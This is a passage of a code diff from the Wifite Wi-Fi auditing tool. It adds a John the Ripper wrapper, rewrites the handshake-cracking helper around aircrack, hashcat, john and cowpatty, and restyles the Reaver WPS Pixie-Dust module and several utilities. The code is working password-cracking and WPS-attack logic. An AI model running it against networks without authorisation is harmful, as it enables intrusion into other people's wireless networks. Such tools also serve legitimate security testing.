os.remove(hccapx_file)
command = [
'hcxpcaptool',
'-o', hccapx_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(hccapx_file):
raise ValueError('Failed to generate .hccapx file, output: \n%s\n%s' % (
stdout, stderr))
return hccapx_file
@staticmethod
def generate_john_file(handshake, show_command=False):
john_file = Configuration.temp('generated.john')
if os.path.exists(john_file):
os.remove(john_file)
command = [
'hcxpcaptool',
'-j', john_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(john_file):
raise ValueError('Failed to generate .john file, output: \n%s\n%s' % (
stdout, stderr))
return john_file
def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file)

65
wifite/tools/john.py Normal file
View File

@@ -0,0 +1,65 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
class John(Dependency):
''' Wrapper for John program. '''
dependency_required = False
dependency_name = 'john'
dependency_url = 'http://www.openwall.com/john/'
@staticmethod
def crack_handshake(handshake, show_command=False):
john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command)
# Use `john --list=formats` to find if OpenCL or CUDA is supported.
formats_stdout = Process(['john', '--list=formats']).stdout()
if 'wpapsk-opencl' in formats_stdout:
john_format = 'wpapsk-opencl'
elif 'wpapsk-cuda' in formats_stdout:
john_format = 'wpapsk-cuda'
else:
john_format = 'wpapsk'
# Crack john file
command = [
'john',
'--format=%s' % john_format,
'--wordlist', Configuration.wordlist,
john_file
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
process.wait()
# Run again with --show to consistently get the password
command = ['john', '--show', john_file]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
# Parse password (regex doesn't work for some reason)
if '0 password hashes cracked' in stdout:
key = None
else:
for line in stdout.split('\n'):
if handshake.capfile in line:
key = line.split(':')[1]
break
if os.path.exists(john_file):
os.remove(john_file)
return key

View File

@@ -56,7 +56,7 @@ class Pyrit(Dependency):
elif current_bssid is not None and current_essid is not None:
# We hit an AP that we care about.
# Line does not contain AccessPoint, see if it's "good"
# Line does not contain AccessPoint, see if it's 'good'
if ', good' in line:
bssid_essid_pairs.add( (current_bssid, current_essid) )

View File

@@ -81,7 +81,7 @@ class Reaver(Attack, Dependency):
output_file_prefix='pixie') as airodump:
# Wait for target
self.pattack("Waiting for target to appear...")
self.pattack('Waiting for target to appear...')
self.target = self.wait_for_target(airodump)
# Start reaver
@@ -125,13 +125,13 @@ class Reaver(Attack, Dependency):
meta_statuses = []
if self.total_timeouts > 0:
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_wpsfails > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails)
meta_statuses.append('{O}WPSFail:%d{W}' % self.total_wpsfails)
if self.locked:
meta_statuses.append("{R}Locked{W}")
meta_statuses.append('{R}Locked{W}')
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
@@ -157,9 +157,13 @@ class Reaver(Attack, Dependency):
# Try to derive PSK from PIN using Bully
self.pattack('{W}Retrieving PSK using {C}bully{W}...')
psk = None
try:
psk = Bully.get_psk_from_pin(self.target, pin)
except KeyboardInterrupt:
pass
if psk is None:
Color.pl("")
Color.pl('')
self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
else:
self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
@@ -231,12 +235,12 @@ class Reaver(Attack, Dependency):
time_left = Configuration.wps_pixie_timeout - self.running_time()
Color.clear_entire_line()
Color.pattack("WPS",
Color.pattack('WPS',
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline:
Color.pl("")
Color.pl('')
def running_time(self):
@@ -256,19 +260,19 @@ class Reaver(Attack, Dependency):
# Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search("WPA PSK: *'(.+)'", stdout)
regex = re.search(r"WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.group(1)
# Check for SSID
"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """
'''1.x [Reaver Test] [+] AP SSID: 'Test Router' '''
regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
if regex:
ssid = regex.group(1)
# Check (again) for SSID
if ssid is None:
"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
'''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)'''
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
if regex:
ssid = regex.group(1)
@@ -349,15 +353,15 @@ executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1ba
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid)
assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print("")
print('')
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk
assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()

View File

@@ -20,7 +20,7 @@ class Tshark(Dependency):
@staticmethod
def _extract_src_dst_index_total(line):
# Extract BSSIDs, handshake # (1-4) and handshake "total" (4)
# Extract BSSIDs, handshake # (1-4) and handshake 'total' (4)
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line)
if match is None:
@@ -135,7 +135,7 @@ class Tshark(Dependency):
(src, dst, essid) = match.groups()
if dst.lower() == "ff:ff:ff:ff:ff:ff":
if dst.lower() == 'ff:ff:ff:ff:ff:ff':
continue # Skip broadcast packets
if bssid is not None:

View File

@@ -33,7 +33,7 @@ class Color(object):
'''
Prints text using colored format on same line.
Example:
Color.p("{R}This text is red. {W} This text is white")
Color.p('{R}This text is red. {W} This text is white')
'''
sys.stdout.write(Color.s(text))
sys.stdout.flush()
@@ -62,7 +62,7 @@ class Color(object):
for (key,value) in Color.replacements.items():
output = output.replace(key, value)
for (key,value) in Color.colors.items():
output = output.replace("{%s}" % key, value)
output = output.replace('{%s}' % key, value)
return output
@staticmethod
@@ -76,7 +76,8 @@ class Color(object):
def clear_entire_line():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
Color.p("\r" + (" " * int(columns)) + "\r")
Color.p('\r' + (' ' * int(columns)) + '\r')
@staticmethod
def pattack(attack_type, target, attack_name, progress):
@@ -86,13 +87,31 @@ class Color(object):
ESSID (Pwr) Attack_Type: Progress
e.g.: Router2G (23db) WEP replay attack: 102 IVs
'''
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % (
essid = '{C}%s{W}' % target.essid if target.essid_known else '{O}unknown{W}'
Color.p('\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s ' % (
essid, target.power, attack_type, attack_name, progress))
if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
print(Color.s("{C}Testing{P}String{W}"))
Color.pl("{+} Good line")
Color.pl("{!} Danger")
@staticmethod
def pexception(exception):
'''Prints an exception. Includes stack trace if necessary.'''
Color.pl('\n{!} {R}Error: {O}%s' % str(exception))
from ..config import Configuration
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
if __name__ == '__main__':
Color.pl('{R}Testing{G}One{C}Two{P}Three{W}Done')
print(Color.s('{C}Testing{P}String{W}'))
Color.pl('{+} Good line')
Color.pl('{!} Danger')

View File

@@ -1,142 +1,267 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..config import Configuration
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA
from ..model.pmkid_result import CrackResultPMKID
from ..util.process import Process
from ..util.color import Color
from ..util.input import raw_input
from ..config import Configuration
from ..model.result import CrackResult
from ..tools.aircrack import Aircrack
from ..tools.cowpatty import Cowpatty
from ..tools.hashcat import Hashcat, HcxPcapTool
from ..tools.john import John
from datetime import datetime
import os
class CrackHandshake(object):
def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
if os.path.exists(self.wordlist):
self.wordlist = os.path.abspath(self.wordlist)
handshake = self.choose_handshake()
self.crack_handshake(handshake)
# TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal.
def crack_handshake(self, handshake):
cap_file = handshake["handshake_file"]
bssid = handshake["bssid"]
Color.pl("\n Below are commands to crack the handshake {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file, bssid)
self.print_pyrit(cap_file, bssid)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
# TODO: cowpatty, oclhashcat
# TODO: Do not show handshake files that are in cracked.txt with a key (match on filename).
def print_aircrack(self, cap_file, bssid):
Color.pl("")
if not Process.exists("aircrack-ng"):
Color.pl(" {R}aircrack-ng not found.");
Color.pl(" {O}More info on installing {R}Aircrack{O} here: {C}https://www.aircrack-ng.org/downloads.html{W}");
# TODO: --no-crack option while attacking targets (implies user will run --crack later)
class CrackHelper:
'''Manages handshake retrieval, selection, and running the cracking commands.'''
TYPES = {
'4-WAY': '4-Way Handshake',
'PMKID': 'PMKID Hash'
}
@classmethod
def run(cls):
Configuration.initialize(False)
# Get wordlist
if not Configuration.wordlist:
Color.p('\n{+} Enter wordlist file to use for cracking: {G}')
Configuration.wordlist = raw_input()
if not os.path.exists(Configuration.wordlist):
Color.pl('{!} {R}Wordlist {O}%s{R} not found. Exiting.' % Configuration.wordlist)
return
Color.pl(" {O}# AIRCRACK: CPU-based cracking. Slow.")
Color.pl(" {G}aircrack-ng {W}-a {C}2 {W}-b {C}%s {W}-w {C}%s %s{W}" % (bssid, self.wordlist, cap_file))
def print_pyrit(self, cap_file, bssid):
Color.pl("")
if not Process.exists("pyrit"):
Color.pl(" {R}pyrit not found.");
Color.pl(" {O}More info on installing {R}Pyrit{O} here: {C}https://github.com/JPaulMora/Pyrit{W}");
return
Color.pl(" {O}# PYRIT: GPU-based cracking. Fast.")
Color.pl(" {G}pyrit {W}-b {C}%s {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (bssid, self.wordlist, cap_file))
def print_john(self, cap_file):
Color.pl("")
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
if not Process.exists("john"):
Color.pl(" {O}# {R}john{O} is not installed. More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
else:
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {O}# Generate hccap file:")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {O}# Convert hccap file to john file:")
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}%s.john{W}" % cap_file)
Color.pl(" {O}# Crack john file:")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"%s.john\"{W}" % (self.wordlist, cap_file))
def print_oclhashcat(self, cap_file):
Color.pl("")
if not Process.exists("hashcat"):
Color.pl(" {R}hashcat {O}not found.");
Color.pl(" {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/");
return
Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.")
Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
Color.pl(" {O}# Step 1: Generate .hccapx file")
hccapx_file = "/tmp/generated.hccapx"
cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
if os.path.exists(cap2hccapx):
Color.pl(" {G} %s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
else:
Color.pl(" {O}# Install {R}cap2hccapx{O}: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {G}./cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
Color.pl(" {O}# Step 2: Crack the .hccapx file")
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def choose_handshake(self):
hs_dir = Configuration.wpa_handshake_dir
Color.pl("{+} Listing captured handshakes from {C}%s{W}\n" % os.path.realpath(hs_dir))
handshakes = []
for hs_file in os.listdir(hs_dir):
if not hs_file.endswith('.cap') or hs_file.count("_") != 3:
continue
name, essid, bssid, date = hs_file.split("_")
if name != 'handshake':
continue
handshakes.append({
'essid': essid,
'bssid': bssid.replace('-', ':'),
'date': date.replace('.cap', '').replace('T', ' '),
'handshake_file': os.path.realpath(os.path.join(hs_dir, hs_file))
})
handshakes.sort(key=lambda x: x['date'], reverse=True)
Color.pl('')
# Get handshakes
handshakes = cls.get_handshakes()
if len(handshakes) == 0:
raise Exception("No handshakes found in %s" % os.path.realpath(hs_dir))
Color.pl('{!} {O}No handshakes found{W}')
return
# Handshakes Header
max_essid_len = max(max([len(hs["essid"]) for hs in handshakes]), len('(truncated) ESSDID'))
Color.p(" NUM")
Color.p(" " + "ESSID (truncated)".ljust(max_essid_len))
Color.p(" " + "BSSID".ljust(17))
Color.p(" DATE CAPTURED\n")
Color.p(" ---")
Color.p(" " + ("-" * max_essid_len))
Color.p(" " + ("-" * 17))
Color.p(" " + ("-" * 19) + "\n")
# Print all handshakes
for idx, hs in enumerate(handshakes, start=1):
bssid = hs["bssid"]
essid = hs["essid"]
date = hs["date"]
Color.p(" {G}%s{W}" % str(idx).rjust(3))
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len))
Color.p(" {O}%s{W}" % bssid)
Color.p(" {W}%s{W}\n" % date)
# Get number from user
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
if not hs_index.isdigit():
raise ValueError("Handshake NUM must be numeric, got (%s)" % hs_index)
hs_index = int(hs_index)
if hs_index < 1 or hs_index > len(handshakes):
raise Exception("Handshake NUM must be between 1 and %d" % len(handshakes))
hs_to_crack = cls.get_user_selection(handshakes)
any_pmkid = any([hs['type'] == 'PMKID' for hs in hs_to_crack])
# Tools for cracking & their dependencies.
available_tools = {
'aircrack': [Aircrack],
'hashcat': [Hashcat, HcxPcapTool],
'john': [John, HcxPcapTool],
'cowpatty': [Cowpatty]
}
# Identify missing tools
missing_tools = []
for tool, dependencies in available_tools.items():
missing = [
dep for dep in dependencies
if not Process.exists(dep.dependency_name)
]
if len(missing) > 0:
available_tools.pop(tool)
missing_tools.append( (tool, missing) )
if len(missing_tools) > 0:
Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}')
for tool, deps in missing_tools:
dep_list = ', '.join([dep.dependency_name for dep in deps])
Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list))
Color.p('\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % (
'{W}, {C}'.join(available_tools.keys())))
tool_name = raw_input()
if tool_name not in available_tools:
Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name)
tool_name = 'aircrack'
elif any_pmkid and tool_name != 'hashcat':
Color.pl('{!} {O}Note: PMKID hashes will be cracked using {C}hashcat{W}')
try:
for hs in hs_to_crack:
cls.crack(hs, tool_name)
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}')
@classmethod
def get_handshakes(cls):
handshakes = []
skipped_pmkid_files = 0
hs_dir = Configuration.wpa_handshake_dir
if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir):
Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir)
return []
Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir))
for hs_file in os.listdir(hs_dir):
if hs_file.count('_') != 3:
continue
if hs_file.endswith('.cap'):
# WPA Handshake
hs_type = '4-WAY'
elif hs_file.endswith('.16800'):
# PMKID hash
if not Process.exists('hashcat'):
skipped_pmkid_files += 1
continue
hs_type = 'PMKID'
else:
continue
name, essid, bssid, date = hs_file.split('_')
date = date.rsplit('.', 1)[0]
days,hours = date.split('T')
hours = hours.replace('-', ':')
date = '%s %s' % (days, hours)
handshake = {
'filename': os.path.join(hs_dir, hs_file),
'bssid': bssid.replace('-', ':'),
'essid': essid,
'date': date,
'type': hs_type
}
if hs_file.endswith('.cap'):
# WPA Handshake
handshake['type'] = '4-WAY'
elif hs_file.endswith('.16800'):
# PMKID hash
handshake['type'] = 'PMKID'
else:
continue
handshakes.append(handshake)
if skipped_pmkid_files > 0:
Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.' % skipped_pmkid_files)
# Sort by Date (Descending)
return sorted(handshakes, key=lambda x: x.get('date'), reverse=True)
@classmethod
def print_handshakes(cls, handshakes):
# Header
max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')])
Color.p('{D} NUM')
Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len))
Color.p(' ' + 'BSSID'.ljust(17))
Color.p(' ' + 'TYPE'.ljust(5))
Color.p(' ' + 'DATE CAPTURED\n')
Color.p(' ---')
Color.p(' ' + ('-' * max_essid_len))
Color.p(' ' + ('-' * 17))
Color.p(' ' + ('-' * 5))
Color.p(' ' + ('-' * 19) + '{W}\n')
# Handshakes
for index, handshake in enumerate(handshakes, start=1):
bssid = handshake['bssid']
date = handshake['date']
Color.p(' {G}%s{W}' % str(index).rjust(3))
Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len))
Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17))
Color.p(' {C}%s{W}' % handshake['type'].ljust(5))
Color.p(' {W}%s{W}\n' % handshake['date'])
@classmethod
def get_user_selection(cls, handshakes):
cls.print_handshakes(handshakes)
Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes)))
choices = raw_input()
selection = []
for choice in choices.split(','):
if '-' in choice:
first, last = [int(x) for x in choice.split('-')]
for index in range(first, last + 1):
selection.append(handshakes[index-1])
elif choice.strip().lower() == 'all':
selection = handshakes[:]
break
elif [c.isdigit() for c in choice]:
index = int(choice)
selection.append(handshakes[index-1])
return selection
@classmethod
def crack(cls, hs, tool):
Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % (
cls.TYPES[hs['type']], hs['essid'], hs['bssid']))
if hs['type'] == 'PMKID':
crack_result = cls.crack_pmkid(hs, tool)
elif hs['type'] == '4-WAY':
crack_result = cls.crack_4way(hs, tool)
else:
raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs)
if crack_result is None:
# Failed to crack
Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % (
hs['essid'], hs['bssid']))
else:
# Cracked, replace existing entry (if any), or add to
Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: "{G}%s{W}"' % (
hs['essid'], hs['bssid'], crack_result.key))
crack_result.save()
@classmethod
def crack_4way(cls, hs, tool):
handshake = Handshake(hs['filename'],
bssid=hs['bssid'],
essid=hs['essid'])
try:
handshake.divine_bssid_and_essid()
except ValueError as e:
Color.pl('{!} {R}Error: {O}%s{W}' % e)
return None
if tool == 'aircrack':
key = Aircrack.crack_handshake(handshake, show_command=True)
elif tool == 'hashcat':
key = Hashcat.crack_handshake(handshake, show_command=True)
elif tool == 'john':
key = John.crack_handshake(handshake, show_command=True)
elif tool == 'cowpatty':
key = Cowpatty.crack_handshake(handshake, show_command=True)
if key is not None:
return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key)
else:
return None
@classmethod
def crack_pmkid(cls, hs, tool_name):
key = Hashcat.crack_pmkid(hs['filename'], verbose=True)
if key is not None:
return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key)
else:
return None
if __name__ == '__main__':
CrackHelper.run()
return handshakes[hs_index - 1]

View File

@@ -29,11 +29,11 @@ class Process(object):
if type(command) is not str or ' ' in command or shell:
shell = True
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing (Shell): {B}%s{W}" % command)
Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command)
else:
shell = False
if Configuration.verbose > 1:
Color.pe("\n {C}[?]{W} Executing: {B}%s{W}" % command)
Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command)
pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
pid.wait()
@@ -45,9 +45,9 @@ class Process(object):
if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.strip().split('\n')))
Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n')))
if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.strip().split('\n')))
Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n')))
return (stdout, stderr)
@@ -73,7 +73,7 @@ class Process(object):
self.command = command
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing: {B}%s{W}" % ' '.join(command))
Color.pe('\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command))
self.out = None
self.err = None
@@ -103,14 +103,14 @@ class Process(object):
''' Waits for process to finish, returns stdout output '''
self.get_output()
if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(self.out.strip().split('\n')))
Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(self.out.strip().split('\n')))
return self.out
def stderr(self):
''' Waits for process to finish, returns stderr output '''
self.get_output()
if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.strip().split('\n')))
Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(self.err.strip().split('\n')))
return self.err
def stdoutln(self):
@@ -135,7 +135,7 @@ class Process(object):
return (self.out, self.err)
def poll(self):
''' Returns exit code if process is dead, otherwise "None" '''
''' Returns exit code if process is dead, otherwise 'None' '''
return self.pid.poll()
def wait(self):
@@ -202,8 +202,8 @@ if __name__ == '__main__':
# Test on never-ending process
p = Process('yes')
print("Running yes...")
print('Running yes...')
time.sleep(1)
print("yes should stop now")
print('yes should stop now')
# After program loses reference to instance in 'p', process dies.

View File

@@ -1,8 +1,8 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..tools.airodump import Airodump
from ..util.color import Color
from ..tools.airodump import Airodump
from ..util.input import raw_input, xrange
from ..model.target import Target
from ..config import Configuration
@@ -17,16 +17,18 @@ class Scanner(object):
def __init__(self):
'''
Starts scan, prints as it goes.
Upon interrupt, sets 'targets'.
Scans for targets via Airodump.
Loops until scan is interrupted via user or config.
Note: Sets this object's `targets` attrbute (list[Target]) upon interruption.
'''
self.previous_target_count = 0
self.targets = []
self.target = None # Specific target (based on ESSID/BSSID)
self.target = None # Target specified by user (based on ESSID/BSSID)
max_scan_time = Configuration.scan_time
self.err_msg = None
Color.pl("")
# Loads airodump with interface/channel/etc from Configuration
try:
with Airodump() as airodump:
@@ -35,18 +37,15 @@ class Scanner(object):
while True:
if airodump.pid.poll() is not None:
# Airodump process died
return
return # Airodump process died
self.targets = airodump.get_targets(old_targets=self.targets)
if self.found_target():
# We found the target we want
return
return # We found the target we want
if airodump.pid.poll() is not None:
# Airodump process died
return
return # Airodump process died
for target in self.targets:
if target.bssid in airodump.decloaked_bssids:
@@ -55,20 +54,19 @@ class Scanner(object):
self.print_targets()
target_count = len(self.targets)
client_count = sum(
[len(t.clients)
for t in self.targets])
outline = "\r{+} Scanning"
client_count = sum([len(t.clients) for t in self.targets])
outline = '\r{+} Scanning'
if airodump.decloaking:
outline += " & decloaking"
outline += ". Found"
outline += " {G}%d{W} target(s)," % target_count
outline += " {G}%d{W} client(s)." % client_count
outline += " {O}Ctrl+C{W} when ready "
outline += ' & decloaking'
outline += '. Found'
outline += ' {G}%d{W} target(s),' % target_count
outline += ' {G}%d{W} client(s).' % client_count
outline += ' {O}Ctrl+C{W} when ready '
Color.clear_entire_line()
Color.p(outline)
if Configuration.scan_time > 0 and time() > scan_start_time + Configuration.scan_time:
if max_scan_time > 0 and time() > scan_start_time + max_scan_time:
return
sleep(1)
@@ -76,17 +74,18 @@ class Scanner(object):
except KeyboardInterrupt:
pass
def found_target(self):
'''
Check if we discovered the target AP
Returns: the Target if found,
Otherwise None.
Detect if we found a target specified by the user (optional).
Sets this object's `target` attribute if found.
Returns: True if target was specified and found, False otherwise.
'''
bssid = Configuration.target_bssid
essid = Configuration.target_essid
if bssid is None and essid is None:
return False
return False # No specific target from user.
for target in self.targets:
if Configuration.wps_only and target.wps != True:
@@ -105,16 +104,15 @@ class Scanner(object):
return False
def print_targets(self):
'''
Prints targets to console
'''
'''Prints targets selection menu (1 target per row).'''
if len(self.targets) == 0:
Color.p('\r')
return
if self.previous_target_count > 0:
# We need to "overwrite" the previous list of targets.
# We need to 'overwrite' the previous list of targets.
if Configuration.verbose <= 1:
# Don't clear screen buffer in verbose mode.
if self.previous_target_count > len(self.targets) or \
@@ -127,7 +125,7 @@ class Scanner(object):
Process.call('clear')
else:
# We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list
# 'Move' cursor up so we will print over the previous list
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets)
@@ -168,7 +166,15 @@ class Scanner(object):
return int(columns)
def select_targets(self):
''' Asks user to select target(s) '''
'''
Returns list(target)
Either a specific target if user specified -bssid or --essid.
Otherwise, prompts user to select targets and returns the selection.
'''
if self.target:
# When user specifies a specific target
return [self.target]
if len(self.targets) == 0:
if self.err_msg is not None:
@@ -178,13 +184,15 @@ class Scanner(object):
# 1. Link to wireless drivers wiki,
# 2. How to check if your device supporst monitor mode,
# 3. Provide airodump-ng command being executed.
raise Exception("No targets found."
+ " You may need to wait longer,"
+ " or you may have issues with your wifi card")
raise Exception('No targets found.'
+ ' You may need to wait longer,'
+ ' or you may have issues with your wifi card')
# Return all targets if user specified a wait time ('pillage').
if Configuration.scan_time > 0:
return self.targets
# Ask user for targets.
self.print_targets()
Color.clear_entire_line()
@@ -211,12 +219,12 @@ class Scanner(object):
elif choice.isdigit():
choice = int(choice) - 1
chosen_targets.append(self.targets[choice])
else:
pass
return chosen_targets
if __name__ == '__main__':
# Example displays targets and selects the appropriate one
# 'Test' script will display targets and selects the appropriate one
Configuration.initialize()
try:
s = Scanner()
@@ -225,6 +233,6 @@ if __name__ == '__main__':
Color.pl('\r {!} {R}Error{W}: %s' % str(e))
Configuration.exit_gracefully(0)
for t in targets:
Color.pl(" {W}Selected: %s" % t)
Color.pl(' {W}Selected: %s' % t)
Configuration.exit_gracefully(0)

View File

@@ -32,8 +32,8 @@ class Timer(object):
mins = (rem % 3600) / 60
secs = rem % 60
if hours > 0:
return "%dh%dm%ds" % (hours, mins, secs)
return '%dh%dm%ds' % (hours, mins, secs)
elif mins > 0:
return "%dm%ds" % (mins, secs)
return '%dm%ds' % (mins, secs)
else:
return "%ds" % secs
return '%ds' % secs

View File

@@ -1,126 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from .config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.scanner import Scanner
from .util.process import Process
from .util.color import Color
from .util.crack import CrackHandshake
from .util.input import raw_input
from .attack.all import AttackAll
from .model.result import CrackResult
from .model.handshake import Handshake
from .tools.dependency import Dependency
import os
import sys
class Wifite(object):
def main(self):
''' Either performs action based on arguments, or starts attack scanning '''
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
Configuration.exit_gracefully(0)
Configuration.initialize(load_interface=False)
Dependency.run_dependency_check()
